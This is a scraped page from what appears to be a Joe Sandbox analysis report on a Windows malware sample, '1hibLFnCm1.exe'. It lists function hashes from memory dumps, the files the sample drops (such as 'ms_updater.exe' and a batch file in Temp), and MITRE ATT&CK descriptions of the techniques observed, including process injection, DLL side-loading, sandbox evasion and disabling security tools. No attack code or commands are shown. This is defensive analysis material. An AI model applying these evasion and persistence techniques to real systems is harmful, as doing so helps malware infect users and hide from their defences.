Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5da51ed9d487632a0810e5b57bae8d7f8431f5ba9b89f86c75196f64eceebcf
Instruction ID: 6f50c1d46e31e59f245a618a25566cdaa60708f6a76e17bf859d82510c83f597
Opcode Fuzzy Hash: b5da51ed9d487632a0810e5b57bae8d7f8431f5ba9b89f86c75196f64eceebcf
Instruction Fuzzy Hash: D2F06272F1950E4BEB68EA9484651BD7BE2FF2431DF060279D41E976E1EE246A028780

Function 00007FFD9BBEE15A Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e691ad381bf7b0d6021e41ab507ba9c74b9e5cba86f78fafb85b4a4ced2d521
Instruction ID: 416fc64a876f4298edaa1f517ee3e1bf4dedd7841b1f92c5e17905a5b411fc9d
Opcode Fuzzy Hash: 6e691ad381bf7b0d6021e41ab507ba9c74b9e5cba86f78fafb85b4a4ced2d521
Instruction Fuzzy Hash: 7FF0F621A0E3C64FEB734BA48CA01E83FA0EF1334470905F6C0858B1F3D5646615C343

Function 00007FFD9BBED6FC Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b38dfe845610a3e58990ad98b9218c0f9766a14c08fcaf0468edf83595d51c2
Instruction ID: 83caa983b0e3b4502208c0e2f52fac46af6047786a16390e9f1bfd100fae7666
Opcode Fuzzy Hash: 5b38dfe845610a3e58990ad98b9218c0f9766a14c08fcaf0468edf83595d51c2
Instruction Fuzzy Hash: 60F0A732E0994C5FEBA4DF5884591AC7BF0FF44208F4401BBD419C21A1EE306A454741

Function 00007FFD9BBE39B9 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c4004db201cc7c03e9fe070596a69bddd9ab8c27bf16dbb80b497000fbf1dba
Instruction ID: 5f320374467af43542a8fade1a87e130ef1777804b1b5ce2e84cce0fcb6a9ed1
Opcode Fuzzy Hash: 3c4004db201cc7c03e9fe070596a69bddd9ab8c27bf16dbb80b497000fbf1dba
Instruction Fuzzy Hash: 55E0263594EA5C4BDF55EB9AAC602C437E4FF4C34CF01016EE44DC32A2EB2A9950C382

Function 00007FFD9BBEEB4C Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e1c95ec0c8b5e9ca3d55623c1c64c3cc8e48345ed1469ccdb08649561e22b7e
Instruction ID: d80af403992cc773de3758020b871271dde03b504633d9ec8b9761304360f9a2
Opcode Fuzzy Hash: 3e1c95ec0c8b5e9ca3d55623c1c64c3cc8e48345ed1469ccdb08649561e22b7e
Instruction Fuzzy Hash: 68E08611F0A94E0AE7D9B27D18B62FC52C1FB88265B4A0071D80DC22EAED1C9A964392

Function 00007FFD9BBE9530 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fda025b96efcad68b075f8370deabda745f7a6ac28fa8da4c28506cd4c8a2071
Instruction ID: 2a7a53183d07377a3a1493b57d9e48fb7155974c08452e0977bbd1f5ee4f6d63
Opcode Fuzzy Hash: fda025b96efcad68b075f8370deabda745f7a6ac28fa8da4c28506cd4c8a2071
Instruction Fuzzy Hash: 7BE0CD11F0581E1AD6E4B27D18756FD52C6EFC8314F460071E90DC32EEDD1C998643D2

Function 00007FFD9BBE329E Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c126b5f06ff4bf2c4a0a6d697aa6b021ac6049929adce42132a079e2b5a6dd0
Instruction ID: 0c17d77ab03a4c57197d19f58e41627e13791556f9101eb636f8173bc8f0b74b
Opcode Fuzzy Hash: 8c126b5f06ff4bf2c4a0a6d697aa6b021ac6049929adce42132a079e2b5a6dd0
Instruction Fuzzy Hash: 22D01721F0980D4FEBD4EA2C8428A2522C2FFA824479500B1E04DC72B6DC29EC428340

Function 00007FFD9BBE10AE Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd409add49bbf077d0631be78064691f4413093811019e6eeb53ca32aabfc12
Instruction ID: 559db8b3fc65c85e72ca6ef676883349912cdfd7c66f7daaa7d516d44673c5f3
Opcode Fuzzy Hash: 4fd409add49bbf077d0631be78064691f4413093811019e6eeb53ca32aabfc12
Instruction Fuzzy Hash: 47D01212B4DC190E6646B71D7CA15BCF382DBC81797540273D409C238DCE7F69C30682

Function 00007FFD9BBE1F14 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582dc656ad90ee331281fb2064b994836a1018d943a1754b76f6945b393e4cbb
Instruction ID: 2b6b376026dc639ced09116454e0d7fd4282bd4889dcfef4a86274f16fe00d68
Opcode Fuzzy Hash: 582dc656ad90ee331281fb2064b994836a1018d943a1754b76f6945b393e4cbb
Instruction Fuzzy Hash: 93D01725F0E40A82FB3C6AA44872BFD6011BF1030CF720579D05ECA1EBEE1EAA4644D3

Function 00007FFD9BBEBF1E Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43267ed55844785c4310e8b2dbbdf4304c43224669bc32c43750a4babab65155
Instruction ID: 30e8ed9da7fa9ed56e2e059add24452a85ccba16d5176679c9f7608862430158
Opcode Fuzzy Hash: 43267ed55844785c4310e8b2dbbdf4304c43224669bc32c43750a4babab65155
Instruction Fuzzy Hash: 24D0A93020D818CFC7A9CB64C0B0C7233A0FB1A34072601A4E00BCB2F1CA20AF40CBE2

Function 00007FFD9BBE1F42 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73fdb77c31892df8d66af15f43a14462b8e079d7e8c9f5eb3bcec7b5ca618a10
Instruction ID: 03ce1b06e4037ef008a358ec0adb3102ed508c3f1daee1d1dd334b2e9a22c995
Opcode Fuzzy Hash: 73fdb77c31892df8d66af15f43a14462b8e079d7e8c9f5eb3bcec7b5ca618a10
Instruction Fuzzy Hash: 14C04C15F8F41F85EB7960D6147D4BC51613F5431DA720432D05ECE1F6DD4D2A8155C7

Function 00007FFD9BBF32B4 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1772158838.00007FFD9BBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9bbe0000_ms_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d87df4995ba3510231100dc71500e96e101c233263ca9834e238ebcd34f67177
Instruction ID: 2621e7afa7433dc6f969fb4caffd2d66a75c12742500dc5fb6872173ce8541e1
Opcode Fuzzy Hash: d87df4995ba3510231100dc71500e96e101c233263ca9834e238ebcd34f67177
Instruction Fuzzy Hash: 37C01212A0E78E8AD635AA5454203B92F107F3124CF260176C085421E3C958A7029212

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1hibLFnCm1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ms_updater.exe.log

C:\Users\user\AppData\Local\Temp\LLzNk9wqw6

C:\Users\user\AppData\Local\Temp\jClCs9nEU3.bat

C:\Users\user\AppData\Roaming\ms_tool.exe

C:\Users\user\AppData\Roaming\ms_updater.exe

C:\Users\user\Desktop\gOvRVAND.log

C:\Users\user\Desktop\mHYqxgSr.log

\Device\Null

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Windows Analysis Report
1hibLFnCm1.exe

Function 00F73C4C Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Function 00F54C70 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 262
libraryCOMMON

Function 00F65219 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00F6AE55 Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Function 00F68E03 Relevance: 3.1, APIs: 2, Instructions: 63
COMMONLIBRARYCODE

Function 00F55050 Relevance: 3.0, APIs: 2, Instructions: 22
synchronizationthreadCOMMON

Function 00F67FD8 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Function 00F6817A Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Function 00F73905 Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE